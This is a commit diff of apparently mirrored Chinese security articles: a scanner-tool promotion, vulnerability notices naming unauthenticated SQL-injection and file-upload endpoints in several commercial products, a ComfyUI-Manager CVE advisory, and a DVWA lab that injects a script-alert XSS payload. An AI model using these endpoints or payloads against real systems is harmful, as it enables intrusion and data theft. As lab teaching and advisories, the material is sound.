10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgba(204, 204, 204, 0.4);max-width: 100%;box-sizing: border-box !important;min-width: 85px;border-radius: 0px;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">内置 1000+ 指纹规则,自动识别目标技术栈</span></section></td></tr><tr style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(66, 75, 93);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;wordLine truncated
|
||||
## 功能特性
|
||||
|
||||

|
||||

|
||||
### 核心功能
|
||||
- ✅ **零配置启动**
|
||||
- 无需任何配置文件,开箱即用
|
||||
@@ -61,22 +39,25 @@ FlowEye
|
||||
|
||||
### 扫描引擎
|
||||
|
||||
<table><thead><tr><th style="color: rgb(66, 75, 93);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">引擎</span></section></th><th style="color: rgb(66, 75, 93);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">功能</span></section></th><th style="color: rgb(66, 75, 93);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">规则数</span></section></th></tr></thead><tbody><tr style="color: rgb(66, 75, 93);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(66, 75, 93);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">fingerprint</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">指纹识别</span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">1000+</span></section></td></tr><tr style="color: rgb(66, 75, 93);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-rigLine truncated
|
||||
<table><thead><tr style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><th style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgba(204, 204, 204, 0.4);background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);max-width: 100%;box-sizing: border-box !important;color: rgb(66, 75, 93);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;height: auto;border-radius: 0px;min-width: 85px;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">引擎</span></section></th><th style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgba(204, 204, 204, 0.4);background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);max-width: 100%;box-sizing: border-box !important;color: rgb(66, 75, 93);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;height: auto;border-radius: 0px;min-width: 85px;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">功能</span></section></th><th style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgba(204, 204, 204, 0.4);background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);max-width: 100%;box-sizing: border-box !important;color: rgb(66, 75, 93);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;height: auto;border-radius: 0px;min-width: 85px;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">规则数</span></section></th></tr></thead><tbody><tr style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(66, 75, 93);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgba(204, 204, 204, 0.4);max-width: 100%;box-sizing: border-box !important;min-width: 85px;border-radius: 0px;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(66, 75, 93);font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">fingerprint</span></strong></td><td style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgba(204, 204, 204, 0.4);max-width: 100%;box-sizing: border-box !important;min-width: 85px;border-radius: 0px;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">指纹识别</spLine truncated
|
||||
|
||||

|
||||

|
||||
|
||||
## 0x03 工具下载
|
||||
|
||||
**点****击关注**
|
||||
**下方名片****进入公众号**
|
||||
## 工具获取
|
||||
|
||||
**回复关键字【260120****】获取**
|
||||
**下载链接**
|
||||
|
||||
https://github.com/YingxueSec/Floweye-yyyxxx.cc
|
||||
|
||||
> **文章来源:夜组安全**
|
||||
|
||||
|
||||
|
||||
最后推荐一下内部
|
||||
小
|
||||
密圈,干货满满,物超所值,**内部圈子每增加100人,价格将上涨20元,越早进越优惠!!!**
|
||||
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
|
||||
|
||||
如侵权请私聊我们删文
|
||||
|
||||
|
||||
**END**
|
||||
|
||||
|
||||
****
|
||||
@@ -0,0 +1,123 @@
|
||||
# 漏洞情报(已验证) | 中成科信票务管理系统 SaleProduct.ashx SQL注入漏洞
|
||||
原创 wdgs
|
||||
wdgs WDCIA 2026-01-20 23:01
|
||||
|
||||
动动小手
|
||||
|
||||

|
||||
|
||||
点个
|
||||
关注
|
||||
~
|
||||
|
||||
|
||||

|
||||
|
||||
内容仅用于学习交流自查使用,由于传播、利用本公众号所提供的POC信息及POC对应脚本而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号WDCIA及作者不为此承担任何责任,一旦造成后果请自行承担!
|
||||
|
||||
如文章有侵权烦请及时告知,我们会立即删除文章并致歉。谢谢!
|
||||
|
||||
|
||||

|
||||
|
||||
#
|
||||
|
||||

|
||||
|
||||
**01**
|
||||
|
||||
**漏洞介绍**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
中成科信票务管理系统
|
||||
SaleProduct.ashx
|
||||
接口处存在SQL注入漏洞复现,未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外,攻击者甚至可以在高权限下向服务器写入命令,进一步获取服务器系统权限。
|
||||
|
||||

|
||||
|
||||
**02**
|
||||
|
||||
**影响版本**
|
||||
```
|
||||
中成科信票务管理系统
|
||||
```
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
**03**
|
||||
|
||||
**测绘语法**
|
||||
|
||||
|
||||
测绘语句:
|
||||
```
|
||||
关注公众号,回复 中成科 获取
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
**04**
|
||||
|
||||
**POC**
|
||||
|
||||
|
||||

|
||||
|
||||
POC已放置圈子
|
||||
|
||||
|
||||

|
||||
|
||||
圈子
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
圈子刚刚成立,专注于漏洞情报分享,不发烂大街的东西,不定时分享红队工具,欢迎加入,每日更新1-2个 0/1 Day(目前已更新100+)
|
||||
|
||||
圈子新人优惠券已发放完,后期不定时发送,价格随人数增加而增加
|
||||
|
||||

|
||||
|
||||
往期推荐
|
||||
|
||||
[漏洞情报(已验证) | 时空智友企业流程化管控系统formservice 存在 XXE漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247484018&idx=1&sn=141c8cfdd99ea23c90b70ac1b4d761d2&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【已复现】| 帆软export/excel sql注入](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247484013&idx=1&sn=514d45521e2166d6f28f10eee4417bef&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【已复现】| GeoServer 未授权XXE漏洞(CVE-2025-58360)](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247484006&idx=1&sn=4afee46de06596f891b173b27918ea41&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞情报(已验证) | 友加畅捷U+财会通 GetZTList 存在敏感信息泄露漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247484002&idx=1&sn=a00ca88da2b64ef56d0169055cc35aa1&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞情报 | 0 Day 某信智能公交系统 SafeDevice_Mng.aspx 存在SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483945&idx=1&sn=a308958e88a92a2d63eb89ad82f0c2a8&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞情报(已验证) | 0 Day 全程云OA Statistics.ashx 存在SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483924&idx=1&sn=8dbfcb4a9944a19bf8468803b0fb80f8&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞预警已复现| 0 Day 力软敏捷开发框架***********ad存在任意文件上传漏洞(非CrawlerHandler)](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483887&idx=1&sn=a00974871b90a9d61f0867e8544f6d94&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞复现 | 用友 U8 Cloud 文件上传绕过漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483895&idx=1&sn=d0bbaa35a7ea04d8a63b8c56285ca8b0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞情报(已验证) | 0 Day 万户OA getNextAutoCode 存在SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483873&idx=1&sn=dc82d0c0ce79856e640eacf8d1647cd0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
# 漏洞预警 | ComfyUI-Manager远程代码执行漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-01-21 00:01
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # CVE-2025-67303
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
ComfyUI是一款基于节点式工作流的Stable Diffusion图形界面工具,广泛用于AI图像生成领域。
|
||||
|
||||

|
||||
|
||||
**0x03 漏洞详情**
|
||||
###
|
||||
|
||||
**CVE-2025-67303**
|
||||
|
||||
**漏洞类型:**
|
||||
远程代码执行
|
||||
|
||||
**影响:**
|
||||
执行任意命令
|
||||
|
||||
|
||||
|
||||
**简述:**
|
||||
ComfyUI-Manager存在远程代码执行漏洞,由于其数据与配置目录在旧版本中未受ComfyUI的Web API访问控制充分保护,攻击者可通过发送特殊请求覆盖config.ini配置文件并利用其他危险接口执行恶意脚本代码,从而获取服务器权限。
|
||||
|
||||
**0x04 影响版本**
|
||||
- ComfyUI-Manager < v3.38
|
||||
|
||||
**0x05****POC状态**
|
||||
- 已公开
|
||||
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本,建议用户升级到安全版本****:**
|
||||
|
||||
h
|
||||
ttps://github.com/Comfy-Org/ComfyUI-Manager
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
# 漏洞预警 | 东胜物流软件任意文件上传漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-01-21 00:01
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # 暂无
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
东胜物流软件是青岛东胜伟业软件有限公司Q一款集订单管理、仓库管理、运输管理等多种功能于一体的物流管理软件。
|
||||
|
||||

|
||||
|
||||
**0x03 漏洞详情**
|
||||
###
|
||||
|
||||
**漏洞类型:**
|
||||
任意文件上传
|
||||
|
||||
**影响:**
|
||||
上传恶意脚本
|
||||
|
||||
**简述:**
|
||||
东胜物流软件的
|
||||
/CommMng/Print/UploadMailFile
|
||||
接口存在任意文件上传漏洞,未经身份验证的攻击者可以通过该漏洞上传恶意脚本文件,从而控制目标服务器。
|
||||
|
||||
**0x04 影响版本**
|
||||
- 东胜物流软件
|
||||
|
||||
**0x05****POC状态**
|
||||
- 已公开
|
||||
|
||||
****
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本,建议用户升级到安全版本****:**
|
||||
|
||||
http://www.dongshengsoft.com/
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# 漏洞预警 | 金和OA SQL注入漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-01-20 00:00
|
||||
浅安 浅安安全 2026-01-21 00:01
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # 暂无
|
||||
@@ -24,7 +24,7 @@ SQL注入
|
||||
获取敏感信息
|
||||
|
||||
**简述:**
|
||||
金和OA协同办公管理系统C6软件的/c6/Jhsoft.Web.examinenod/AttendWorkAttendance.aspx/接口存在SQL注入漏洞,
|
||||
金和OA协同办公管理系统C6软件的/c6/Jhsoft.Web.dossier/LeaveTypeEdit.aspx/接口存在SQL注入漏洞,
|
||||
未经身份验证的
|
||||
攻击者可以通过该漏洞执行任意SQL语句,从而获取数据库敏感信息。
|
||||
|
||||
|
||||
@@ -0,0 +1,172 @@
|
||||
# 网安实验干货每日分享XSS漏洞分类-0121
|
||||
原创 建哥聊安全
|
||||
建哥聊安全 建哥聊安全 2026-01-21 01:05
|
||||
|
||||
# XSS漏洞分类
|
||||
## 实验目的
|
||||
|
||||
通过本实验,掌握
|
||||
XSS的原理和利用方法,通过三个类型的不同演示掌握XSS的不同分类以及之间的区别。
|
||||
## 实验环境
|
||||
|
||||
·
|
||||
操作机:
|
||||
Win10
|
||||
|
||||
用户名:
|
||||
Administrator
|
||||
|
||||
密码:
|
||||
Sangfor!7890
|
||||
|
||||
·
|
||||
靶机:
|
||||
Apache + PHP
|
||||
|
||||
·
|
||||
实验地址:
|
||||
http://ip/dvwa/login.php
|
||||
## 实验原理
|
||||
|
||||
借助
|
||||
DVWA靶场,通过不同分类的演示效果,掌握XSS不同分类之间的区别。
|
||||
## 实验步骤
|
||||
### 反射型XSS
|
||||
|
||||
1、登录"Attack"操作机,打开浏览器,访问http://ip/dvwa/login.php
|
||||
|
||||

|
||||
|
||||
2、输入Username:admin和Password:password,登陆靶场
|
||||
|
||||

|
||||
|
||||
3、首先选中"DVWA Security",调整级别为"Low"级别提交
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
4、选中"XSS(Reflected)",跳转到反射型XSS环境下
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
5、在文本框内输入
|
||||
|
||||
<script>alert(666)</script>
|
||||
|
||||
点击“Submit”,提交输入的payload,弹框,触发XSS漏洞
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
6、右击,查看页面源代码
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
7、点击快捷键“Ctrl + F”,在代码中搜索
|
||||
|
||||
alert
|
||||
|
||||
发现提交的
|
||||
payload被写进了页面的代码中
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
8、切换为靶场页面,点击其他任意位置,比如点击“CSRF”,然后再点击"XSS(Reflected)",无任何反应,说明反射型XSS是非持久性的
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
### 存储型XSS
|
||||
|
||||
1、选中"XSS(Stored)",跳转到存储型XSS环境下
|
||||
|
||||

|
||||
|
||||
2、在留言板中填写payload
|
||||
|
||||

|
||||
|
||||
3、点击“Sign Guestbook”,提交填写的payload,弹框,触发XSS漏洞
|
||||
|
||||

|
||||
|
||||
4、点击“确定”,右击,查看页面源代码
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
5、点击快捷键“Ctrl + F”,在代码中搜索
|
||||
|
||||
alert
|
||||
|
||||
发现提交的
|
||||
payload被写进了页面的代码中
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
6、切换为靶场页面,点击其他任意位置,比如点击“CSRF”,然后再点击"XSS(Stored)",再次弹框,说明存储型XSS是持久性的
|
||||
|
||||

|
||||
|
||||

|
||||
### DOM型XSS
|
||||
|
||||
1、选中"XSS(DOM)",跳转到DOM型XSS环境下
|
||||
|
||||

|
||||
|
||||
2、点击“Select”,提交选择的数据
|
||||
|
||||

|
||||
|
||||
3、在URL中的default的值更改为
|
||||
|
||||
<script>alert(666)</script>
|
||||
|
||||
提交
|
||||
payload,弹框,触发XSS漏洞
|
||||
|
||||

|
||||
|
||||
4、点击“确定”,右击,查看页面源代码
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
5、点击快捷键“Ctrl + F”,在代码中搜索
|
||||
|
||||
alert
|
||||
|
||||
发现提交的
|
||||
payload未写进页面的代码中
|
||||
|
||||

|
||||
|
||||
6、切换为靶场页面,点击其他任意位置,比如点击“CSRF”,然后再点击"XSS(DOM)",无任何反应,说明DOM型XSS是非持久性的
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
实验总结
|
||||
|
||||
通过本实验,掌握
|
||||
XSS的简单利用以及不同的分类之间的区别。
|
||||
|
||||
Reference in new issue
Block a user